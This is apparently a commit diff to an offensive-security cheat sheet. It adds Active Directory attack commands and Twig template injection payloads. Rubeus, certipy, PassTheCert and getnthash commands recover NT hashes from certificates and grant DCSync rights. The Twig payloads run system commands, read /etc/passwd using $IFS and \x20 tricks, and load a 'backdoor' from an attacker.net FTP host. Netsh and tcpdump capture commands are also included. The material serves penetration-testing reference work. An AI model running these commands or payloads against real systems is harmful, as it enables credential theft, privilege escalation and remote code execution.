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Capture a network trace with builtin tools
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Swissky
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@ -62,7 +62,6 @@
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- [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
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- [Using impacket](#using-impacket)
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- [Using Rubeus](#using-rubeus)
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- [UnPAC The Hash](#unpac-the-hash)
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- [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
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- [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
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- [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
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@ -84,6 +83,7 @@
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- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
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- [Certifried CVE-2022-26923](#certifried-cve-2022-26923)
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- [Pass-The-Certificate](#pass-the-certificate)
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- [UnPAC The Hash](#unpac-the-hash)
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- [Shadow Credentials](#shadow-credentials)
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- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
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- [Abusing DNS Admins Group](#abusing-dns-admins-group)
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@ -1915,21 +1915,6 @@ root@kali:~$ klist
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.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
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```
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### UnPAC The Hash
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* Windows
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```ps1
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# request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
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C:/> Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
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```
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* Linux
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```ps1
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# obtain a TGT by validating a PKINIT pre-authentication
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$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
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# use the session key to recover the NT hash
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$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
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```
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### Capturing and cracking Net-NTLMv1/NTLMv1 hashes
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@ -2516,6 +2501,8 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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#### Pass-The-Certificate
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> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
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* Windows
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```ps1
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# Information about a cert file
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@ -2523,6 +2510,11 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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# From a Base64 PFX
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Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
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# Grant DCSync rights to an user
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./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
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# To restore
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./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
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```
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* Linux
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```ps1
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@ -2534,8 +2526,30 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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# PFX certificate (file) + password (string, optionnal)
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gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
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# Using Certipy
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certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
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certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
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```
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### UnPAC The Hash
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Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
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* Windows
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```ps1
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# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
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Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
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```
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* Linux
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```ps1
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# Obtain a TGT by validating a PKINIT pre-authentication
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$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
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# Use the session key to recover the NT hash
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$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
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```
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### Shadow Credentials
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@ -20,6 +20,7 @@
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* [RevSocks](#revsocks)
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* [plink](#plink)
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* [ngrok](#ngrok)
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* [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools)
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* [Basic Pivoting Types](#basic-pivoting-types)
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* [Listen - Listen](#listen---listen)
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* [Listen - Connect](#listen---connect)
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@ -410,7 +411,39 @@ tar xvzf cloudflared-stable-linux-amd64.tgz
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# Expose accessible internal service to the internet
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./cloudflared tunnel --url <protocol>://<host>:<port>
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```
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## Capture a network trace with builtin tools
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* Windows (netsh)
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```ps1
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# start a capture use the netsh command.
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netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384
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# stop the trace
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netsh trace stop
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# Event tracing can be also used across a reboots
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netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384
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# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version.
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etl2pcapng.exe c:\trace.etl c:\trace.pcapng
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# Use filters
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netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384
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```
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* Linux (tcpdump)
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```ps1
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sudo apt-get install tcpdump
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tcpdump -w 0001.pcap -i eth0
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tcpdump -A -i eth0
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# capture every TCP packet
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tcpdump -i eth0 tcp
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# capture everything on port 22
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tcpdump -i eth0 port 22
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```
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## Basic Pivoting Types
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@ -456,3 +489,4 @@ tar xvzf cloudflared-stable-linux-amd64.tgz
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* 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
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* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
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* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
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* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)
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@ -829,6 +829,9 @@ $output = $twig > render (
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{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
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{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
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{{['id']|filter('system')}}
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{{[0]|reduce('system','id')}}
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{{['id']|map('system')|join}}
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{{['id',1]|sort('system')|join}}
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{{['cat\x20/etc/passwd']|filter('system')}}
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{{['cat$IFS/etc/passwd']|filter('system')}}
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```
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